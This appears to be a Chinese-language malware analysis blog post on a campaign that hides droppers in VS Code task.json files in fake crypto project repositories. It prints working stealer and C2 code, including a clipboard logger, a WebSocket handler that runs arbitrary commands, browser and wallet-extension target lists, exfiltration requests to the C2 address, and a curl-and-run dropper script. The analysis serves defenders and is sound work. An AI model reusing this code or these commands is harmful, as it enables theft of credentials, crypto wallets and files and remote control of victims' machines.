socket.emit(\"processStatus\", status);\n      }\n    }, 10000); // Check every 10 seconds\n  });\n}\n\n(async () => {\n  // Start socket connection first (non-blocking)\n  (async () => {\n    try {\n      await sendHostInfo();\n      const socket = await connectSocket();\n      process.on(\"SIGINT\", () => {\n        console.log(\"👋 Shutting down...\");\n        socket.disconnect();\n        process.exit(0);\n      });\n    } catch (error) {\n     console.log(error, \"error in socket script\");\n      // Don't exit on socket error, let other operations continue\n    }\n  })();\n  \n  // Start clipboard watching (non-blocking)\n  (async () => {\n    async function getClipboardContent() {\n  try {\n    const platform = os.platform();\n    if (platform === 'win32') {\n      const psScript = `Add-Type -AssemblyName System.Windows.Forms;\n$clipboard = [System.Windows.Forms.Clipboard]::GetText();\nif ($clipboard) { $clipboard } else { '' }`;\n      const encodedScript = Buffer.from(psScript, 'utf16le').toString('base64');\n      const content = execSync(\n        `powershell -NoProfile -WindowStyle Hidden -EncodedCommand ${encodedScript}`,\n        { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 10 * 1024 * 1024, windowsHide: true }\n      ).trim();\n      return content;\n    } else if (platform === 'darwin') {\n      const content = execSync('pbpaste', { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'] }).trim();\n      return content;\n    } else if (platform === 'linux') {\n      // If running in WSL, use PowerShell to get Windows clipboard\n      if (is_wsl()) {\n        try {\n          const psScript = `Add-Type -AssemblyName System.Windows.Forms;\n$clipboard = [System.Windows.Forms.Clipboard]::GetText();\nif ($clipboard) { $clipboard } else { '' }`;\n          const encodedScript = Buffer.from(psScript, 'utf16le').toString('base64');\n          const content = execSync(\n            `powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand ${encodedScript}`,\n            { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 10 * 1024 * 1024 }\n          ).trim();\n          return content;\n        } catch (e) {\n          // Fallback to Linux clipboard if PowerShell fails\n        }\n      }\n      // Try Linux clipboard tools (xclip/xsel)\n      try {\n        const content = execSync('xclip -selection clipboard -o', { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'] }).trim();\n        return content;\n      } catch (e) {\n        try {\n          const content = execSync('xsel --clipboard --output', { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'] }).trim();\n          return content;\n        } catch (e2) {\n          // Only throw error if not in WSL (in WSL, we already tried PowerShell)\n          if (!is_wsl()) {\n            throw new Error('xclip or xsel not found. Install one of them: sudo apt-get install xclip');\n          }\n          return null;\n        }\n      }\n    } else {\n      throw new Error(`Unsupported platform: ${platform}`);\n    }\n  } catch (error) {\n    return null;\n  }\n}\nasync function watchClipboard(interval = 500) {\n  let lastContent = '';\n  let isRunning = true;\n  const checkClipboard = async () => {\n    if (!isRunning) return;\n    try {\n      const currentContent = await getClipboardContent();\n      if (currentContent !== null && currentContent !== lastContent && currentContent !== '') {\n        await f_s_l(currentContent);\n        lastContent = currentContent;\n      }\n    } catch (error) {console.log(error);}\n    if (isRunning) {\n      setTimeout(checkClipboard, interval);\n    }\n  };\n  \n  await checkClipboard();\n  \n  process.on('SIGINT', () => {\n    isRunning = false;\n  });\n  \n  process.on('SIGTERM', () => {\n    isRunning = false;\n  });\n}\n\nawait watchClipboard(1000);\n  })();\n})();\n\n";
  try {
    Utils.sp_s(H, "pid." + t + ".3.lock", "socketScript", f_s_l);
  } catch (Y) {}
};

ldbScript（ %TEMP%/pid.[t].1.lock ）

掃描13 種瀏覽器的資料目錄路徑，竊取Login Data 、Login Data For Account、Web Data 、Local State，並嘗試解密瀏覽器 Master Key 並解密密碼，解密密碼會存在 s.txt ，瀏覽器路徑包括：

  1. Google Chrome

    • Windows: %LOCALAPPDATA%\Google\Chrome\User Data
    • macOS: ~/Library/Application Support/Google/Chrome
    • Linux: ~/.config/google-chrome

  2. Brave

  • Windows: %LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data
  • macOS: ~/Library/Application Support/BraveSoftware/Brave-Browser
  • Linux: ~/.config/BraveSoftware/Brave-Browser
  1. AVG Browser
  • Windows: %LOCALAPPDATA%\AVG Browser\User Data
  • macOS: ~/Library/Application Support/AVG Browser
  • Linux: ~/.config/avg-browser
  1. Microsoft Edge
  • Windows: %LOCALAPPDATA%\Microsoft\Edge\User Data
  • macOS: ~/Library/Application Support/Microsoft Edge
  • Linux: ~/.config/microsoft-edge
  1. Opera
  • Windows: %LOCALAPPDATA%\Opera Software\Opera Stable
  • macOS: ~/Library/Application Support/com.operasoftware.Opera
  • Linux: ~/.config/opera
  1. Opera GX
  • Windows: %LOCALAPPDATA%\Opera Software\Opera GX
  • macOS: ~/Library/Application Support/com.operasoftware.OperaGX
  • Linux: ~/.config/opera-gx
  1. Vivaldi
  • Windows: %LOCALAPPDATA%\Vivaldi\User Data
  • macOS: ~/Library/Application Support/Vivaldi
  • Linux: ~/.config/vivaldi
  1. Kiwi Browser
  • Windows: %LOCALAPPDATA%\Kiwi Browser\User Data
  • macOS: ~/Library/Application Support/Kiwi Browser
  • Linux: ~/.config/kiwi-browser
  1. Yandex Browser
  • Windows: %LOCALAPPDATA%\Yandex\YandexBrowser\User Data
  • macOS: ~/Library/Application Support/Yandex/YandexBrowser
  • Linux: ~/.config/yandex-browser
  1. Iridium
  • Windows: %LOCALAPPDATA%\Iridium\User Data=
  • macOS: ~/Library/Application Support/Iridium
  • Linux: ~/.config/iridium-browser
  1. Comodo Dragon
  • Windows: %LOCALAPPDATA%\Comodo\Dragon\User Data
  • macOS: ~/Library/Application Support/Comodo/Dragon
  • Linux: ~/.config/comodo-dragon
  1. SRWare Iron
  • Windows: %LOCALAPPDATA%\SRWare Iron\User Data
  • macOS: ~/Library/Application Support/SRWare Iron
  • Linux: ~/.config/srware-iron
  1. Chromium
  • Windows: %LOCALAPPDATA%\Chromium\User Data
  • macOS: ~/Library/Application Support/Chromium
  • Linux: ~/.config/chromium

掃描錢包擴充套件的 LevelDB，路徑為{瀏覽器資料}/Default/Local Extension Settings/{錢包ID}/，錢包套件 ID 包括：

  1. MetaMask

    1
    nkbihfbeogaeaoehlefnkodbefgpgknn

  2. MetaMask Edge

    1
    ejbalbakoplchlghecdalmeeeajnimhm

  3. Rabby Wallet

    1
    acmacodkjbdgmoleebolmdjonilkdbch

  4. Phantom

    1
    bfnaelmomeimhlpmgjnjophhpkkoljpa

  5. TronLinK

    1
    ibnejdfjmmkpcnlpebklmnkoeoihofec

  6. Exodus

    1
    egjidjbpglichdcondbcbdnbeeppgdph

  7. Coin98

    1
    nphplpgoakhhjchkkhmiggakijnkhfnd

  8. Coinbase Wallet

    1
    omaabbefbmiijedngplfjmnooppbclkk

  9. Solflare Wallet

    1
    bhhhlbepdkbapadjdnnojkbgioiodbic

  10. Argent X

    1
    aeachknmefphepccionboohckonoeemg

  11. Keplr

    1
    aflkmhkiijdbfcmhplgifokgdeclgpoi

  12. Terra Station

    1
    agoakfejjabomempkjlepdflaleeobhb

  13. Bitget Wallet

    1
    aholpfdialjgjfhomihkjbmgjidlcdno

  14. Math Wallet

    1
    afbcbjpbpfadlkmhmclhkeeodmamcflc

  15. Leap Wallet

    1
    cgbogdmdefihhljhfeffkljbghamglni

  16. Halo Wallet

    1
    dmkamcknogkgcdfhhbddcghachkejeap

  17. Martian Wallet

    1
    dlcobpjiigpikoobohmabehhmhfoodbb

  18. Pontem Wallet

    1
    efbglgofoippbgcjepnhiblaibcnclgk

  19. Lido

    1
    ejjladinnckdgjemekebdpeokbikhfci

  20. Fewcha Move

    1
    fhbohimaelbohpjbbldcngcnapndodjp

  21. Petra Wallet

    1
    fhkbkphfeanlhnlffkpologfoccekhic

  22. OKX Wallet

    1
    fhmfendgdocmcbmfikdcogofphimnkno

  23. Sender

    1
    fldfpgipfncgndfolcbkdeeknbbbnhcc

  24. XDEFI Wallet

    1
    gjnckgkfmgmibbkoficdidcljeaaaheg

  25. Crypto.com DeFi

    1
    hifafgmccdpekplomjjkcfgodnhcellj

  26. Xverse

    1
    hmeobnfnfcmdkdcmlblgagmfpfboieaf

  27. Safepal Extension

    1
    hnfanknocfeofbddgcijnmhnfnkdnaad

  28. Backpack

    1
    jiidiaalihmmhddjgbnbgdfflelocpak

  29. ONTO Wallet

    1
    jblndlipeogpafnldhgmapagcccfchpi

  30. Sui Wallet

    1
    jmbkjchcobfffnmjboflnchcbljiljdk

  31. Blade Wallet

    1
    jnjpmcgfcfeffkfgcnjefkbkgcpnkpab

  32. Glow Wallet

    1
    kpkmkbkoifcfpapmleipncofdbjdpice

  33. Nami (Cardano)

    1
    khpkpbbcccdmmclmpigdgddabeilkdpd

  34. Eternl (CCvault)

    1
    ldinpeekobnhjjdofggfgjlcehhmanaj

  35. Slope Wallet

    1
    lgmpcpglpngdoalbgeoldeajfclnhafa

  36. XRP Toolkit

    1
    mcohilncbfahbmgdjkbpemcciiolgcge

  37. CLV Wallet

    1
    mopnmbcafieddcagagdcbnhejhlodfdd

  38. Polkadot.js

    1
    nkklfkfpelhghbidbnpdfhblphpfjmbo

  39. Temple Wallet (Tezos)

    1
    penjlddjkjgpnkllboccdgccekpkcbin

  40. Ronin Wallet

    1
    ppbibelpcjmhbdihakflkdcoccbgbkpo

如果是 MacOS ，則獲取 macOS Keychain

  • ${process.env.HOME}/Library/Keychains/login.keychain-db

如果是 Brave ，則獲取其錢包的 LevelDB

  • {瀏覽器路徑}/{Profile}/Local Storage/leveldb/*

以上拿到的資訊，會透過以下的方式上傳到 144.172.107[.]191:8085/upload，並以每 30 秒執行一次瀏覽器資料竊取，總共執行 10 次迭代，每 3 次迭代會額外執行密碼解密上傳

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: 144.172.107[.]191:8085
Content-Type: multipart/form-data
userkey: 101
hostname: <hostname>
timestamp: <timestamp>
file-metadata: <JSON array>
t: <t>
[FormData with multiple files]

autoUploadScript （ %TEMP%/pid.[t].2.lock ）

進行一次性全硬碟掃描敏感檔案。

掃描路徑包括

平台掃描路徑
Windows所有磁碟 (A-Z)，C: 最後
macOS/Linux$HOME 目錄
WSL/mnt (Windows 磁碟)

優先目錄

1
2
3
4
5
6
7
Windows:
Desktop, Documents, Downloads, OneDrive, Google Drive, GoogleDrive
macOS/Linux:
Desktop, Documents, Downloads, Library/CloudStorage,
Projects, projects, Development, development,
Code, code, Code Projects, code projects,
source, Source, OneDrive, Google Drive, GoogleDrive

排除目錄

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.quokka, .bash_rc, .bash_sessions, .atom, .zen, thumbnails, .rhinocode,
.codeium, .adobe, .matplotlib, .antigravity, .gemini, .pyenv, .pgadmin,
.ipython, .idlerc, .codex, .qodo, .cups, .n2, .n3, .pki, .ruby,
.vscode-remote, .python, .php, .oh-my-zsh, .nvs, .maven, .jupyter,
.dotnet, assetbundles, .pnpm-store, .rbenv, movies, music, adobe,
package cache, nvidia corporation, saved games, winrar, .cargo, .lingma,
.qoder, .trae-aicc, .vscode-insiders, .avo-code, ubuntu-backup, snap-data,
app-configs, .local, .config, .anydesk, library, programdata, .tmp,
node_modules, npm, .npm, .yarn, yarn.lock, package-lock.json, pnpm-store,
.pnpm, public, static, assets, resources, css, less, scss, sass, stylus,
styles, style, themes, theme, build, dist, out, target, bin, obj, .next,
.nuxt, .output, .vuepress, .vitepress, appdata, program files,
program files (x86), windows, windows.old, system volume information,
$recycle.bin, recovery, perflogs, intel, amd, nvidia, microsoft,
microsoftedgebackup, system, applications, .trash, .spotlight-v100,
.fseventsd, .documentrevisions-v100, .temporaryitems, .vol, cores,
application support, proc, sys, dev, run, boot, lost+found, snap, flatpak,
desktop.ini, thumbs.db, .vscode, .idea, .vs, .eclipse, .settings,
.metadata, .gradle, .mvn, .git, .github, .svn, .hg, .bzr, .cache, cache,
tmp, temp, *~, vendor, vendors, .venv, venv, .conda, anaconda3, miniconda3,
.rustup, .pub-cache, .dart_tool, .m2, .ivy2, .sbt, libs, packages, package,
pkgs, pkg, documentation, examples, example, samples, sample, test, tests,
spec, specs, .ssh, .gnupg, .aws, .docker, .kube, .terraform, .vagrant,
.node-gyp, .nvm, .bun, .deno, .go, .gopath, .gocache, .cursor,
.vscode-server, .claude, .windsurf, .snipaste, .vue-cli-ui, .devctl,
.eigent, fonts, font, icons, icon, wallpaper, wallpapers, background,
backgrounds, locale, locales, _locales, i18n, translations, lang, language,
languages, visual studio code.app, chrome.app, firefox.app, safari.app,
opera.app, brave browser.app, vmware, .vmware, vmware fusion,
vmware fusion.app, vmware workstation, vmware player, vmware vsphere,
vmware vcenter, /applications/vmware, /usr/lib/vmware, /usr/share/vmware,
program files/vmware, program files (x86)/vmware, appdata/local/vmware,
appdata/roaming/vmware, library/application support/vmware, .vmwarevm,
.vmdk, .vmem, .vmsn, .vmsd, .vmx, .vmxf, .nvram, .vmtm, mysql, postgresql,
mongodb, redis, elasticsearch, openzeppelin, prisma, .expo, .svelte-kit,
hooks, .wine, .3T, .gk, .move, .tldrc, .android, .avm, .brownie,
.cocoapods, .zsh_sessions, .pm2, .pyp, .myi, manifest, debug, plugin, plugins

目標機敏檔案關鍵字/ 副檔名

  • 錢包相關

    1
    2
    3
    4
    5
    .keystore, phone, database, bank, financ, metamask, phantom, bitcoin,
    ethereum, eth, trust, wallet, coinbase, exodus, ledger, trezor, keystore,
    keyring, keychain, atomic, electrum, mycelium, blockchain, bravewallet,
    rabby, coin98, backpack, core, mathwallet, solflare, glow, keplr, argent,
    martian, petra, binance, okx, crypto, cryptocurrency, hardhat, truffle

  • 私鑰/憑證

    1
    2
    3
    4
    private, privatekey, private_key, private-key, privkey, priv_key, key,
    keypair, key_pair, key-pair, .pem, .p12, .pfx, .jks, .keys, keys, .p8,
    .p7b, .p7c, .cer, .crt, .cert, cert, .der, id_rsa, id_dsa, id_ecdsa,
    id_ed25519, .pub, .priv

  • 助記詞/種子

    1
    2
    3
    4
    seed, seedphrase, seed_phrase, seed-phrase, mnemonic, phrase, passphrase,
    pass_phrase, pass-phrase, recovery, recoveryphrase, recovery_phrase,
    recovery-phrase, backup, backupphrase, backup_phrase, backup-phrase,
    12words, 12_words, 12-words, 24words, 24_words, 24-words, bip39, bip44

  • 認證資訊

    1
    2
    3
    4
    5
    password, passwd, pass, pwd, credential, credentials, auth, authentication,
    token, access_token, refresh_token, api_key, apikey, api-key, apisecret,
    api_secret, api-secret, secret, secrets, secretkey, secret_key, secret-key,
    masterkey, master_key, master-key, masterpassword, master_password,
    master-password

  • 帳號資訊

    1
    2
    3
    account, accounts, profile, profiles, user, username, user_name, user-name,
    login, signin, sign_in, sign-in, address, addresses, tx, transaction,
    transactions

  • 設定檔

    1
    2
    .env, env, environment, config, configuration, configure, .conf, .cfg,
    .ini, .properties, .yaml, .yml, .toml

  • 資料庫/文件

    1
    2
    3
    .db, .sqlite, .sqlite3, .sql, .mdb, .accdb, .dbf, .doc, .docx, .pdf,
    .md, .markdown, .rtf, .odt, .xls, .xlsx, .txt, text, note, notes,
    memo, memos

  • 截圖/媒體

    1
    screenshot, screen, snapshot, capture, .png, .jpg, .jpeg, .bmp

  • 程式碼/資料

    1
    .json, .js, .ts, .jsx, .tsx, .csv, .xml

  • 備份/其他敏感

    1
    2
    3
    .lock, .log, .bak, backup, .old, .orig, .save, .swp, .tmp, tmp, my,
    personal, vault, safe, secure, lock, encrypt, decrypt, signature, sign,
    certificate, identity, session, cookie

附檔案檔案排除

1
2
3
4
5
.exe, .dll, .so, .dylib, .bin, .app, .deb, .rpm, .pkg, .dmg, .msi,
.appimage, .lnk, .alias, .desktop, .mp4, .mp3, .avi, .mov, .wmv, .flv,
.mkv, .webm, .wma, .wav, .flac, .aac, .ogg, .m4a, .gif, .tiff, .svg,
.ico, .heif, .tmp, .temp, .swp, .swo, .jar, .war, .ear,
.sublime-project, .sublime-workspace

只要一掃描到符合的機敏檔案，會先判斷是否大於5 MB ，如果小於就上傳到 144[.]172[.]107[.]191:8086/upload

1
2
3
4
5
6
7
8
POST /upload HTTP/1.1
Host: 144.172.107[.]191:8086
Content-Type: multipart/form-data
userkey: 101
hostname: <hostname>
path: <filepath_urlencoded>
t: <t>
[FormData with file]

socketScript ( %TEMP%/pid.[t].3.lock)

這個模組主要進行 C2 控制命令解析與執行

首先會先使用下面的方式對 114.172.107[.]191:8087/api/notify 做初始通知

1
2
3
4
5
6
7
8
9
10
POST /api/notify HTTP/1.1
Host: 144.172.107[.]191:8087
Content-Type: application/json
{
  "ukey": <userkey>,
  "t": <t>,
  "host": "101_<hostname>",
  "os": "<os_type> <os_release>",
  "username": "<username>"
}

之後使用 web socket 與ws://114.172.107[.]191:8087進行命令傳輸

事件方向說明
connect受害→C2連線成功，開始搜尋 .env*
connect_error受害處理連線錯誤
whourC2→受害C2 查詢身份
whoIm受害→C2回報主機資訊
commandC2→受害執行任意命令
message受害→C2回傳命令結果
disconnect受害斷線處理
reconnect受害重連成功
processControlC2→受害遠端控制進程
processStatus受害→C2回報進程狀態
Connect / Connet error

連線成功，開始搜尋 .env* 並上傳到http://144.172.107[.]191:8085/api/upload-file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
socket.on("connect", () => {
  console.log("✅ Connected to socket server (for file browsing)");

  const status = checkProcessStatus();
  socket.emit("processStatus", status);

  setImmediate(async () => {
    try {
      await ".env";
    } catch (err) {
      console.error("Error searching for .env files:", err.message);
    }
  });
});
socket.on("connect_error", (error) => {
  console.error("❌ Socket connection error:", error.message);
  reject(error);
});

HTTP POST請求為

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/upload-file HTTP/1.1
Host: 144.172.107[.]191:8085
Content-Type: application/octet-stream
userkey: 101
t: 1706567890
hostname: <hostname>
path: found..env%2F_Users_victim_project_.env
filename: .env
timestamp: 1706567890
Content-Length: 256
Connection: keep-alive

[.env content]
whour/whoIm

查詢身份與回報身份

1
2
3
4
5
6
7
8
9
10
socket.on("whour", () => {
  const s_i = gsi();
  socket.emit("whoIm", {
    ukey: 101,
    t: <timestamp>,
    host: "101_" + s_i.host,
    os: s_i.os,
    username: s_i.username,
  });
});
command/message

執行命令與回報結果

  • code 102 : 讀取目錄列表
  • code 107 : 讀取並上傳
    • 如果檔案大小大於 1MB : HTTP + WebSocket ，HTTP 路徑為：http://144.172.107[.]191:8085/api/upload-file
    • 如果檔案大小大於 1MB : Only Http，HTTP 路徑為：http://144.172.107[.]191:8085/api/upload-file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
socket.on("command", (msg) => {
  try {
    const { message: command, code, cid, sid, path: filePath } = msg;
    if (code === "102" && filePath) {
      try {
        const dirPath = filePath.replace(/\\+$/, "");
        if (fs.existsSync(dirPath)) {
          const stats = fs.statSync(dirPath);
          if (stats.isDirectory()) {
            const items = fs.readdirSync(dirPath, { encoding: "utf8" });

            const result = items.map((item) => {
              const fullPath = path.join(dirPath, item);
              try {
                const itemStats = fs.statSync(fullPath);
                const isDir = itemStats.isDirectory();
                return {
                  name: item,
                  path: fullPath,
                  type: isDir ? "dir" : "file",
                  size: isDir ? null : itemStats.size,
                  date: itemStats.mtime.toLocaleString(),
                };
              } catch (statError) {
                return {
                  name: item,
                  path: fullPath,
                  type: "file",
                  size: null,
                  date: new Date().toLocaleString(),
                };
              }
            });

            socket.emit("message", {
              ...msg,
              result: JSON.stringify(result),
            });
            return;
          }
        }
      } catch (dirError) {
        console.warn(`Failed to read directory: ${dirError.message}`);
      }
    }

    exec(
      command,
      {
        windowsHide: true,
        maxBuffer: 1024 * 1024 * 300,
      },
      async (error, stdout, stderr) => {
        const isWslPermissionError =
          stderr &&
          /Permission denied/i.test(stderr) &&
          stdout &&
          stdout.trim().length > 0;

        if (error && !isWslPermissionError) {
          socket.emit("message", {
            result: error.message,
            ...msg,
            type: "error",
          });
          return;
        }

        if (stderr && !isWslPermissionError) {
          socket.emit("message", {
            result: stderr,
            ...msg,
            type: "stderr",
          });
          return;
        }

        let fileUrl = null;
        let fileContentToSend = stdout;
        const maxSize = 1 * 1024 * 1024;

        if (code === "107" && filePath) {
          try {
            if (fs.existsSync(filePath)) {
              const fileBuffer = fs.readFileSync(filePath);
              const fileSize = fileBuffer.length;

              const uploadResult = await uploadFileToLdb(filePath, fileBuffer);
              if (uploadResult && uploadResult.fileUrl) {
                fileUrl = uploadResult.fileUrl;
              }

              if (fileSize > maxSize) {
                fileContentToSend = null;
                console.log(`File too large, sending URL only: ${fileUrl}`);
              } else {
                fileContentToSend = stdout;
              }
            }
          } catch (readError) {}
        }

        socket.emit("message", {
          ...msg,
          result: fileContentToSend,
          fileUrl: fileUrl,
        });
      },
    );
  } catch (e) {
    socket.emit("message", {
      ...msg,
      result: e.message,
      type: "error",
    });
  }
});

HTTP POST 請求為

1
2
3
4
5
6
7
8
9
10
11
POST /api/upload-file HTTP/1.1
Host: 144.172.107[.]191:8085
Content-Type: application/octet-stream
userkey: 101
t: <timestamp>
hostname: <hostname>
path: <filepath_urlencoded>
filename: <filename>
timestamp: <timestamp>

[file content]
disconnet

收到斷線後輸出文字

1
2
3
socket.on("disconnect", () => {
  console.log("⚠️ Disconnected from socket server");
});
reconnect/processStatus

收到 reconnect event 後回傳目前三個模組的狀態

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
socket.on("reconnect", (attemptNumber) => {
  console.log(
    "✅ Reconnected to socket server (attempt " + attemptNumber + ")",
  );
  const status = checkProcessStatus();
  socket.emit("processStatus", status);
});

setInterval(() => {
  if (socket.connected) {
    const status = checkProcessStatus();
    socket.emit("processStatus", status);
  }
}, 10000);

const checkProcessStatus = () => {
  const path = require("path");
  const os = require("os");

  const lockFiles = [
    { type: "ldbScript", file: path.join(os.tmpdir(), `pid.${t}.1.lock`) },
    {
      type: "autoUploadScript",
      file: path.join(os.tmpdir(), `pid.${t}.2.lock`),
    },
    { type: "socketScript", file: path.join(os.tmpdir(), `pid.${t}.3.lock`) },
  ];

  const status = {
    ldbScript: false,
    autoUploadScript: false,
    socketScript: false,
  };

  for (const lockFile of lockFiles) {
    try {
      if (fs.existsSync(lockFile.file)) {
        const lockData = JSON.parse(fs.readFileSync(lockFile.file, "utf8"));
        const pid = lockData.pid;

        try {
          process.kill(pid, 0);
          status[lockFile.type] = true;
        } catch (checkError) {
          try {
            fs.unlinkSync(lockFile.file);
          } catch (e) {}
          status[lockFile.type] = false;
        }
      }
    } catch (e) {
      status[lockFile.type] = false;
    }
  }

  return status;
};
processControl

控制三個模組 Process ，可以進行開啟或關閉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
socket.on("processControl", (data) => {
  try {
    const { scriptType, action } = data;

    if (action === "stop") {
      const lockFileMap = {
        ldbScript: path.join(os.tmpdir(), `pid.<t>.1.lock`),
        autoUploadScript: path.join(os.tmpdir(), `pid.<t>.2.lock`),
        socketScript: path.join(os.tmpdir(), `pid.<t>.3.lock`),
      };

      const lockFilePath = lockFileMap[scriptType];
      if (lockFilePath && fs.existsSync(lockFilePath)) {
        try {
          const lockData = JSON.parse(fs.readFileSync(lockFilePath, "utf8"));
          const pid = lockData.pid;
          try {
            process.kill(pid, "SIGTERM");
            setTimeout(() => {
              try {
                process.kill(pid, 0);
                process.kill(pid, "SIGKILL");
              } catch (e) {}
            }, 1000);
            fs.unlinkSync(lockFilePath);
            console.log(`Stopped ${scriptType} (PID: ${pid})`);
          } catch (killError) {
            try {
              fs.unlinkSync(lockFilePath);
            } catch (e) {}
          }
        } catch (e) {
          console.error(`Error stopping ${scriptType}:`, e.message);
        }
      }
    } else if (action === "start") {
      console.log(
        `Start command received for ${scriptType} - manual start required`,
      );
    }

    setTimeout(() => {
      const status = checkProcessStatus();
      socket.emit("processStatus", status);
    }, 500);
  } catch (error) {
    console.error("Error handling process control:", error);
  }
});

另外他會拿剪貼簿的內容，並上傳到 http://144.172.107[.]191:8087/api/log

1
2
3
4
5
6
7
8
9
10
async function watchClipboard() {
  while (true) {
    const content = getClipboardContent(); // pbpaste / xclip / PowerShell
    if (content !== lastContent) {
      await sendLog(content);
      lastContent = content;
    }
    await sleep(1000);
  }
}

HTTP POST 請求為

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/log HTTP/1.1
Host: 144.172.107[.]191:8087
Content-Type: application/json

{
  "ukey": 101,
  "t": <timestamp>,
  "host": "101_<hostname>",
  "os": "<os_type> <os_release>",
  "username": "<username>",
  "message": "<剪貼簿內容>",
  "level": "info",
  "data": {}
}

到這邊 Sample 1 的大致執行流程就結束了，總結一下 Sample 1 會做的事情

  • 初始讓使用者用vscode 相關 editer 透過 task.json 請求惡意檔案
  • 再通過多層 dropper 下載惡意檔案
  • 這類的 Sample 的javascript 的檔案大小會特別的大，會在混淆過後的 Javascrpt 中執行主要的惡意行爲
    • 竊取使用者瀏覽器、錢包、機密檔案資料
    • 建立 C2 連線，利用web socket 下達指令
    • C2 : 144.172.107[.]191

此惡意程式相關報告有

變體：

  • https://github[.]com/0x003-copia/Copia-nft_metaverse_game_platform
    • 增加了 anti debugger

Sample 2

最初分析的是 IvanJoseph103/Token-Presale-dApp ，不過他已經消失了，並且在test.json 訪問https://vscode-project-setting.vercel[.]app/task/mac?token=812 以及其他架在vercel 也已無法使用，會顯示 This content has been blocked for legal reasons，但是除了架在 vercal 的服務之外都還是活著的，並且有許多相關的 sample 的行為皆類似，因此還是分享分析過程。

網址：https://github[.]com/IvanJoseph103/Token-Presale-dApp/tree/main

創建時間：2025/09/24

相關的sample

  • https://github[.]com/whoisasx/Elo-assignment/tree/main

這類的 Sample 在 task.json 時在 github 上看第一眼看會不知道執行了什麼，但是如果將頁面往右滑，就會發現…

訪問後特別的是會進行 JWT token 的驗證，並且JWT token 的有效時間非常短，因此會需要寫腳本快速抓取惡意程式

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
set -e
echo "Authenticated"
mkdir -p "$HOME/Documents"
clear
curl -s -L -o "$HOME/Documents/tokenlinux.sh" "http://vscode-project-setting.vercel.app/task/tokenlinux?token=812&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjE5MWEzMWZiLWU4MjYtNDgwMC04M2IzLWJjNmYxMDMxZTZiYiIsInN0ZXAiOjEsInRpbWVzdGFtcCI6MTc2ODcyMTE5Njc3Mywib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIxMTk2LCJleHAiOjE3Njg3MjEzNzZ9.0YjYBtLmI5RcsmKW33fvKEZYER1Zv2jqcAb57q4TfWo"
clear
chmod +x "$HOME/Documents/tokenlinux.sh"
clear
nohup bash "$HOME/Documents/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#tokenlinux.sh
#!/bin/bash

# Creating new Info
set -e

OS=$(uname -s)
# Node.js Version
# Get latest Node.js version (from official JSON index)
# LATEST_VERSION="20.11.1"
# if [ "$OS" == "Darwin" ]; then
#     # macOS
#    #     LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json \
#    #     | grep -Eo '"version": *"v[0-9]+\.[0-9]+\.[0-9]+"' \
#    #     | head -1 \
#    #     | sed -E 's/.*"v([^"]+)".*/v\1/')
#         LATEST_VERSION="20.11.1"
# elif [ "$OS" == "Linux" ]; then
#     # Linux
#     LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -oP '"version":\s*"\Kv[0-9]+\.[0-9]+\.[0-9]+' | head -1)
# else
#     exit 1
# fi

# Remove leading "v"
LATEST_VERSION="20.11.1"
NODE_VERSION=${LATEST_VERSION}

NODE_TARBALL="node-v${NODE_VERSION}"
DOWNLOAD_URL=""
NODE_DIR="$HOME/Documents/${NODE_TARBALL}"

# Determine the OS (Linux or macOS)

# Step 1: Set the Node.js tarball and download URL based on the OS
if [ "$OS" == "Darwin" ]; then
   # macOS
   NODE_TARBALL="$HOME/Documents/${NODE_TARBALL}-darwin-x64.tar.xz"
   DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-darwin-x64.tar.xz"
elif [ "$OS" == "Linux" ]; then
   # Linux
   NODE_TARBALL="$HOME/Documents/${NODE_TARBALL}-linux-x64.tar.xz"
   DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-linux-x64.tar.xz"
else
   exit 1
fi

# Step 2: Check if Node.js is installed
NODE_INSTALLED_VERSION=$(node -v 2>/dev/null || echo "")

# Step 3: Determine whether to install Node.js
